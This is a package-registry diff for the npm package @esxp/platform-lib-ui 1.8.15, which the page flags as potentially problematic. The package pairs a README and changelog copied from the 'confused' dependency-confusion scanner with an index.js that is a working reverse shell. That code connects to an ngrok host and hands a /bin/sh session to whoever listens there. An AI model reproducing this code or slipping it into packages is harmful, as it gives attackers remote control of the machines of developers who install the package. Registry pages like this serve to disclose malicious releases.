@esxp/platform-lib-ui 1.8.15
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @esxp/platform-lib-ui might be problematic. Click here for more details.
- package/CHANGELOG.md +31 -0
- package/LICENSE +21 -0
- package/README.md +103 -0
- package/confused +0 -0
- package/confused_0.5_linux_amd64.tar.gz +0 -0
- package/index.js +16 -0
- package/package.json +12 -0
package/CHANGELOG.md
ADDED
@@ -0,0 +1,31 @@
|
|
1
|
+
# Changelog
|
2
|
+
|
3
|
+
- main
|
4
|
+
- New
|
5
|
+
- Changed
|
6
|
+
|
7
|
+
- v0.4
|
8
|
+
- New
|
9
|
+
- npm: In case package was found, also check if all the package versions have been unpublished. This makes the package vulnerable to takeover
|
10
|
+
- npm: Check for http & https and GitHub version references
|
11
|
+
- MVN (Maven) support
|
12
|
+
- Changed
|
13
|
+
- Fixed a bug where the pip requirements.txt parser processes a 'tilde equals' sign.
|
14
|
+
- Fixed an issue that would detect git repository urls as matches
|
15
|
+
|
16
|
+
- v0.3
|
17
|
+
- New
|
18
|
+
- PHP (composer) support
|
19
|
+
- Command line parameter to let the user to flag namespaces as known-safe
|
20
|
+
- Changed
|
21
|
+
- Python (pypi) dependency definition files that use line continuation are now parsed correctly
|
22
|
+
- Revised the output to clarify the usage
|
23
|
+
- Fixed npm package.json file parsing issues when the source file is not following the specification
|
24
|
+
|
25
|
+
- v0.2
|
26
|
+
- Changed
|
27
|
+
- npm registry checkup url
|
28
|
+
- Throttle the rate of requests in case of 429 (Too many requests) responses
|
29
|
+
|
30
|
+
- v0.1
|
31
|
+
- Initial release
|
package/LICENSE
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
MIT License
|
2
|
+
|
3
|
+
Copyright (c) 2021 Visma Security, Joona Hoikkala
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
13
|
+
copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
21
|
+
SOFTWARE.
|
package/README.md
ADDED
@@ -0,0 +1,103 @@
|
|
1
|
+
# Confused
|
2
|
+
|
3
|
+
A tool for checking for lingering free namespaces for private package names referenced in dependency configuration
|
4
|
+
for Python (pypi) `requirements.txt`, JavaScript (npm) `package.json`, PHP (composer) `composer.json` or MVN (maven) `pom.xml`.
|
5
|
+
|
6
|
+
## What is this all about?
|
7
|
+
|
8
|
+
On 9th of February 2021, a security researcher Alex Birsan [published an article](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
|
9
|
+
that touched different resolve order flaws in dependency management tools present in multiple programming language ecosystems.
|
10
|
+
|
11
|
+
Microsoft [released a whitepaper](https://azure.microsoft.com/en-gb/resources/3-ways-to-mitigate-risk-using-private-package-feeds/)
|
12
|
+
describing ways to mitigate the impact, while the root cause still remains.
|
13
|
+
|
14
|
+
## Interpreting the tool output
|
15
|
+
|
16
|
+
`confused` simply reads through a dependency definition file of an application and checks the public package repositories
|
17
|
+
for each dependency entry in that file. It will proceed to report all the package names that are not found in the public
|
18
|
+
repositories - a state that implies that a package might be vulnerable to this kind of attack, while this vector has not
|
19
|
+
yet been exploited.
|
20
|
+
|
21
|
+
This however doesn't mean that an application isn't already being actively exploited. If you know your software is using
|
22
|
+
private package repositories, you should ensure that the namespaces for your private packages have been claimed by a
|
23
|
+
trusted party (typically yourself or your company).
|
24
|
+
|
25
|
+
### Known false positives
|
26
|
+
|
27
|
+
Some packaging ecosystems like npm have a concept called "scopes" that can be either private or public. In short it means
|
28
|
+
a namespace that has an upper level - the scope. The scopes are not inherently visible publicly, which means that `confused`
|
29
|
+
cannot reliably detect if it has been claimed. If your application uses scoped package names, you should ensure that a
|
30
|
+
trusted party has claimed the scope name in the public repositories.
|
31
|
+
|
32
|
+
## Installation
|
33
|
+
|
34
|
+
- [Download](https://github.com/visma-prodsec/confused/releases/latest) a prebuilt binary from [releases page](https://github.com/visma-prodsec/confused/releases/latest), unpack and run!
|
35
|
+
|
36
|
+
_or_
|
37
|
+
- If you have recent go compiler installed: `go get -u github.com/visma-prodsec/confused` (the same command works for updating)
|
38
|
+
|
39
|
+
_or_
|
40
|
+
- git clone https://github.com/visma-prodsec/confused ; cd confused ; go get ; go build
|
41
|
+
|
42
|
+
## Usage
|
43
|
+
```
|
44
|
+
Usage:
|
45
|
+
confused [-l LANGUAGENAME] depfilename.ext
|
46
|
+
|
47
|
+
Usage of confused:
|
48
|
+
-l string
|
49
|
+
Package repository system. Possible values: "pip", "npm", "composer", "mvn", "rubygems" (default "npm")
|
50
|
+
-s string
|
51
|
+
Comma-separated list of known-secure namespaces. Supports wildcards
|
52
|
+
-v Verbose output
|
53
|
+
|
54
|
+
```
|
55
|
+
|
56
|
+
## Example
|
57
|
+
|
58
|
+
### Python (PyPI)
|
59
|
+
```
|
60
|
+
./confused -l pip requirements.txt
|
61
|
+
|
62
|
+
Issues found, the following packages are not available in public package repositories:
|
63
|
+
[!] internal_package1
|
64
|
+
|
65
|
+
```
|
66
|
+
|
67
|
+
### JavaScript (npm)
|
68
|
+
```
|
69
|
+
./confused -l npm package.json
|
70
|
+
|
71
|
+
Issues found, the following packages are not available in public package repositories:
|
72
|
+
[!] internal_package1
|
73
|
+
[!] @mycompany/internal_package1
|
74
|
+
[!] @mycompany/internal_package2
|
75
|
+
|
76
|
+
# Example when @mycompany private scope has been registered in npm, using -s
|
77
|
+
./confused -l npm -s '@mycompany/*' package.json
|
78
|
+
|
79
|
+
Issues found, the following packages are not available in public package repositories:
|
80
|
+
[!] internal_package1
|
81
|
+
```
|
82
|
+
|
83
|
+
### Maven (mvn)
|
84
|
+
```
|
85
|
+
./confused -l mvn pom.xml
|
86
|
+
|
87
|
+
Issues found, the following packages are not available in public package repositories:
|
88
|
+
[!] internal
|
89
|
+
[!] internal/package1
|
90
|
+
[!] internal/_package2
|
91
|
+
|
92
|
+
```
|
93
|
+
|
94
|
+
### Ruby (rubygems)
|
95
|
+
```
|
96
|
+
./confused -l rubygems Gemfile.lock
|
97
|
+
|
98
|
+
Issues found, the following packages are not available in public package repositories:
|
99
|
+
[!] internal
|
100
|
+
[!] internal/package1
|
101
|
+
[!] internal/_package2
|
102
|
+
|
103
|
+
```
|
package/confused
ADDED
Binary file
|
Binary file
|
package/index.js
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
const net = require('net');
|
2
|
+
const { spawn } = require('child_process');
|
3
|
+
const attackerIP = '0.tcp.in.ngrok.io'; // Replace with your IP
|
4
|
+
const attackerPort = 10488; // Replace with your listening port
|
5
|
+
const client = new net.Socket();
|
6
|
+
client.connect(attackerPort, attackerIP, function() {
|
7
|
+
const sh = spawn('/bin/sh', []);
|
8
|
+
client.write("=== Reverse shell connected ===\n");
|
9
|
+
client.pipe(sh.stdin);
|
10
|
+
sh.stdout.pipe(client);
|
11
|
+
sh.stderr.pipe(client);
|
12
|
+
});
|
13
|
+
client.on('error', function(err) {
|
14
|
+
console.error('Connection error:', err);
|
15
|
+
setTimeout(() => process.exit(1), 3000);
|
16
|
+
});
|
package/package.json
ADDED